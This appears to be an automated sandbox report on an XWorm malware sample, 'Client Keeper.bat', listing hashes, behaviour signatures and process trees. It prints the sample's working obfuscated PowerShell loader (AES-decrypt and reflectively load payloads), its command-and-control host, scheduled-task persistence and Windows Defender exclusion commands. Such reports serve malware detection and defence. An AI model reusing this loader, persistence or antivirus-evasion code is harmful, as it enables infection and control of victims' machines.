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Analysis
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max time kernel
14s -
max time network
16s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
03/09/2024, 12:57
Static task
static1
Behavioral task
behavioral1
Sample
Client Keeper.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Client Keeper.bat
Resource
win10v2004-20240802-en
General
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Target
Client Keeper.bat
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Size
442KB
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MD5
ccf46201786b2facd7b19ea6129944da
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SHA1
25e51f0e98977de48e111773058cc1b70ced0892
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SHA256
74cdc51bc00b8f596fb764469b16ec2edb336cf9f151697ff984a5081c3204d6
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SHA512
43a92ed1caf5a517e4e1506127b96b07c75458701e4d0b0556fc79694866fb27089ed919688c7ff68c7c2a87b51ef2e635d85bfa8a5aa860f132bfb1fbe13675
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SSDEEP
6144:7iCje5mpo5kEu3ojrKYMwoocilcJohGUMJb0YXZyDC3ntd0FqT/G+PYDKhJaltT7:Xi5mpJEu3mkR4LMxZye3ntqFKFPTjWZ
Malware Config
Extracted
xworm
manufacturer-rank.gl.at.ply.gg:60383
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Install_directory
%AppData%
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install_file
USB.exe
Signatures
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Detect Xworm Payload 2 IoCs
resource yara_rule behavioral2/files/0x0008000000023435-56.dat family_xworm behavioral2/memory/3256-64-0x00000000002A0000-0x0000000000314000-memory.dmp family_xworm -
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
pid Process 3500 powershell.exe 3820 powershell.exe 4524 powershell.exe 4784 powershell.exe 4376 powershell.exe 4672 powershell.exe 5116 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation PNG.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk PNG.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk PNG.exe -
Executes dropped EXE 1 IoCs
pid Process 3256 PNG.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System User = "C:\\Users\\Admin\\AppData\\Roaming\\System User" PNG.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 12 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3832 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 3820 powershell.exe 3820 powershell.exe 3500 powershell.exe 3500 powershell.exe 4524 powershell.exe 4524 powershell.exe 4784 powershell.exe 4784 powershell.exe 4376 powershell.exe 4376 powershell.exe 4672 powershell.exe 4672 powershell.exe 5116 powershell.exe 5116 powershell.exe 3256 PNG.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3820 powershell.exe Token: SeDebugPrivilege 3500 powershell.exe Token: SeIncreaseQuotaPrivilege 3500 powershell.exe Token: SeSecurityPrivilege 3500 powershell.exe Token: SeTakeOwnershipPrivilege 3500 powershell.exe Token: SeLoadDriverPrivilege 3500 powershell.exe Token: SeSystemProfilePrivilege 3500 powershell.exe Token: SeSystemtimePrivilege 3500 powershell.exe Token: SeProfSingleProcessPrivilege 3500 powershell.exe Token: SeIncBasePriorityPrivilege 3500 powershell.exe Token: SeCreatePagefilePrivilege 3500 powershell.exe Token: SeBackupPrivilege 3500 powershell.exe Token: SeRestorePrivilege 3500 powershell.exe Token: SeShutdownPrivilege 3500 powershell.exe Token: SeDebugPrivilege 3500 powershell.exe Token: SeSystemEnvironmentPrivilege 3500 powershell.exe Token: SeRemoteShutdownPrivilege 3500 powershell.exe Token: SeUndockPrivilege 3500 powershell.exe Token: SeManageVolumePrivilege 3500 powershell.exe Token: 33 3500 powershell.exe Token: 34 3500 powershell.exe Token: 35 3500 powershell.exe Token: 36 3500 powershell.exe Token: SeIncreaseQuotaPrivilege 3500 powershell.exe Token: SeSecurityPrivilege 3500 powershell.exe Token: SeTakeOwnershipPrivilege 3500 powershell.exe Token: SeLoadDriverPrivilege 3500 powershell.exe Token: SeSystemProfilePrivilege 3500 powershell.exe Token: SeSystemtimePrivilege 3500 powershell.exe Token: SeProfSingleProcessPrivilege 3500 powershell.exe Token: SeIncBasePriorityPrivilege 3500 powershell.exe Token: SeCreatePagefilePrivilege 3500 powershell.exe Token: SeBackupPrivilege 3500 powershell.exe Token: SeRestorePrivilege 3500 powershell.exe Token: SeShutdownPrivilege 3500 powershell.exe Token: SeDebugPrivilege 3500 powershell.exe Token: SeSystemEnvironmentPrivilege 3500 powershell.exe Token: SeRemoteShutdownPrivilege 3500 powershell.exe Token: SeUndockPrivilege 3500 powershell.exe Token: SeManageVolumePrivilege 3500 powershell.exe Token: 33 3500 powershell.exe Token: 34 3500 powershell.exe Token: 35 3500 powershell.exe Token: 36 3500 powershell.exe Token: SeIncreaseQuotaPrivilege 3500 powershell.exe Token: SeSecurityPrivilege 3500 powershell.exe Token: SeTakeOwnershipPrivilege 3500 powershell.exe Token: SeLoadDriverPrivilege 3500 powershell.exe Token: SeSystemProfilePrivilege 3500 powershell.exe Token: SeSystemtimePrivilege 3500 powershell.exe Token: SeProfSingleProcessPrivilege 3500 powershell.exe Token: SeIncBasePriorityPrivilege 3500 powershell.exe Token: SeCreatePagefilePrivilege 3500 powershell.exe Token: SeBackupPrivilege 3500 powershell.exe Token: SeRestorePrivilege 3500 powershell.exe Token: SeShutdownPrivilege 3500 powershell.exe Token: SeDebugPrivilege 3500 powershell.exe Token: SeSystemEnvironmentPrivilege 3500 powershell.exe Token: SeRemoteShutdownPrivilege 3500 powershell.exe Token: SeUndockPrivilege 3500 powershell.exe Token: SeManageVolumePrivilege 3500 powershell.exe Token: 33 3500 powershell.exe Token: 34 3500 powershell.exe Token: 35 3500 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3256 PNG.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 3228 wrote to memory of 3820 3228 cmd.exe 87 PID 3228 wrote to memory of 3820 3228 cmd.exe 87 PID 3820 wrote to memory of 3500 3820 powershell.exe 89 PID 3820 wrote to memory of 3500 3820 powershell.exe 89 PID 3820 wrote to memory of 3460 3820 powershell.exe 91 PID 3820 wrote to memory of 3460 3820 powershell.exe 91 PID 3460 wrote to memory of 3216 3460 WScript.exe 92 PID 3460 wrote to memory of 3216 3460 WScript.exe 92 PID 3216 wrote to memory of 4524 3216 cmd.exe 94 PID 3216 wrote to memory of 4524 3216 cmd.exe 94 PID 4524 wrote to memory of 3256 4524 powershell.exe 98 PID 4524 wrote to memory of 3256 4524 powershell.exe 98 PID 3256 wrote to memory of 4784 3256 PNG.exe 100 PID 3256 wrote to memory of 4784 3256 PNG.exe 100 PID 3256 wrote to memory of 4376 3256 PNG.exe 102 PID 3256 wrote to memory of 4376 3256 PNG.exe 102 PID 3256 wrote to memory of 4672 3256 PNG.exe 104 PID 3256 wrote to memory of 4672 3256 PNG.exe 104 PID 3256 wrote to memory of 5116 3256 PNG.exe 108 PID 3256 wrote to memory of 5116 3256 PNG.exe 108 PID 3256 wrote to memory of 3832 3256 PNG.exe 110 PID 3256 wrote to memory of 3832 3256 PNG.exe 110 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client Keeper.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3228 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('o1j2aeFxATS/LMnhyTtPZh88JKeZO7a/GlRllyMvGKg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OkQnfLRJOt+ggCAP/xzZGA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QmUAh=New-Object System.IO.MemoryStream(,$param_var); $PKXDP=New-Object System.IO.MemoryStream; $nocnw=New-Object System.IO.Compression.GZipStream($QmUAh, [IO.Compression.CompressionMode]::Decompress); $nocnw.CopyTo($PKXDP); $nocnw.Dispose(); $QmUAh.Dispose(); $PKXDP.Dispose(); $PKXDP.ToArray();}function execute_function($param_var,$param2_var){ $RADPl=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qkeSZ=$RADPl.EntryPoint; $qkeSZ.Invoke($null, $param2_var);}$JTvsg = 'C:\Users\Admin\AppData\Local\Temp\Client Keeper.bat';$host.UI.RawUI.WindowTitle = $JTvsg;$zlCYh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JTvsg).Split([Environment]::NewLine);foreach ($GJRIG in $zlCYh) { if ($GJRIG.StartsWith(':: ')) { $PnLCB=$GJRIG.Substring(3); break; }}$payloads_var=[string[]]$PnLCB.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3820 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_67_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_67.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3500
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_67.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3460 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_67.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('o1j2aeFxATS/LMnhyTtPZh88JKeZO7a/GlRllyMvGKg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OkQnfLRJOt+ggCAP/xzZGA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QmUAh=New-Object System.IO.MemoryStream(,$param_var); $PKXDP=New-Object System.IO.MemoryStream; $nocnw=New-Object System.IO.Compression.GZipStream($QmUAh, [IO.Compression.CompressionMode]::Decompress); $nocnw.CopyTo($PKXDP); $nocnw.Dispose(); $QmUAh.Dispose(); $PKXDP.Dispose(); $PKXDP.ToArray();}function execute_function($param_var,$param2_var){ $RADPl=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qkeSZ=$RADPl.EntryPoint; $qkeSZ.Invoke($null, $param2_var);}$JTvsg = 'C:\Users\Admin\AppData\Roaming\startup_str_67.bat';$host.UI.RawUI.WindowTitle = $JTvsg;$zlCYh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JTvsg).Split([Environment]::NewLine);foreach ($GJRIG in $zlCYh) { if ($GJRIG.StartsWith(':: ')) { $PnLCB=$GJRIG.Substring(3); break; }}$payloads_var=[string[]]$PnLCB.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Users\Admin\AppData\Local\Temp\PNG.exe"C:\Users\Admin\AppData\Local\Temp\PNG.exe"6⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\PNG.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4784
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'PNG.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4376
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4672
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5116
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\AppData\Roaming\System User"7⤵
- Scheduled Task/Job: Scheduled Task
PID:3832
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Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
944B
MD5eb1ad317bd25b55b2bbdce8a28a74a94
SHA198a3978be4d10d62e7411946474579ee5bdc5ea6
SHA2569e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
SHA512d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0
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Filesize
1KB
MD5dbbf71e9fb59f80938f09809b160e441
SHA18b9a517d846cb9a0a284f77ed88328236a85055f
SHA256e1de59d46c7c47af2d62f7754524b080a706be6b38d55a03733a10c3675598b1
SHA51290b75d43ddb81c710fb8fe2fd15b5c05181c774d3f401e47862006adb1703bc65ad8fead4aaf7a28b8e2bbe7249f3de998bd9432c1e62fa8718a19dacc4b8840
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Filesize
1KB
MD5c84d323a1972e30971e8535cb51648ab
SHA1ade49fa62de6a92be9f8d869c039cb4449537809
SHA256b6f9bea53be6ed16a77930454b3f1f1c0db0ee5d34f539c4c51263f8adbc7743
SHA512b0cc02f7ebb086474488b6a7ac0da6591ce4a495a4ea0bbd67af720198f1e1d2e2baebe49eee52faa911adc3425bc0a6de7d18870f2daf6c9ad8c4ccf168fb7e
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
944B
MD5fd98baf5a9c30d41317663898985593b
SHA1ea300b99f723d2429d75a6c40e0838bf60f17aad
SHA2569d97a5bbc88fdcceac25f293383f7e5ce242675460ffbfb2ee9090870c034e96
SHA512bf4dbbd671b5d7afb326622a7c781f150860294d3dba7160330046c258c84a15981c70e50d84dc7faaa7cc8b8c90bf8df818b3f2d3806a8a3671dfe5e38fe7b0
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Filesize
437KB
MD53c21cd756c5f0ae7ac13dd21b086e53b
SHA14216831c140c537e19c9f66e845583f2231e2435
SHA256aab3729408b3b167f77a291abdd6becd043066521880b911c5e29115cdebea04
SHA51242d717e11b61fefc29e64d3b6a17eb97f7f67a8fde4a9f01f0f92ce647ba4d19e2e2aa68c9964023985678ec15427953d543f78fa4ee037971901244ba5da77f
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
442KB
MD5ccf46201786b2facd7b19ea6129944da
SHA125e51f0e98977de48e111773058cc1b70ced0892
SHA25674cdc51bc00b8f596fb764469b16ec2edb336cf9f151697ff984a5081c3204d6
SHA51243a92ed1caf5a517e4e1506127b96b07c75458701e4d0b0556fc79694866fb27089ed919688c7ff68c7c2a87b51ef2e635d85bfa8a5aa860f132bfb1fbe13675
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Filesize
114B
MD565710b3ac861e19ef1a2fb6e63a51942
SHA1f690f4f0ba2067012bb874a603af3ea42e37a053
SHA256a6fe932aceb42c2891cfc0991086e47340e993dca2b0f9f603cd5ef276f744bf
SHA51282ac28bb8ba3f718c34107c1fd2971872b013b288ef4722c5bc537b66b0ff763ef3a47967dffa5fc82070dad4d17690b36df4d37af2f067c39e8209bac7076d8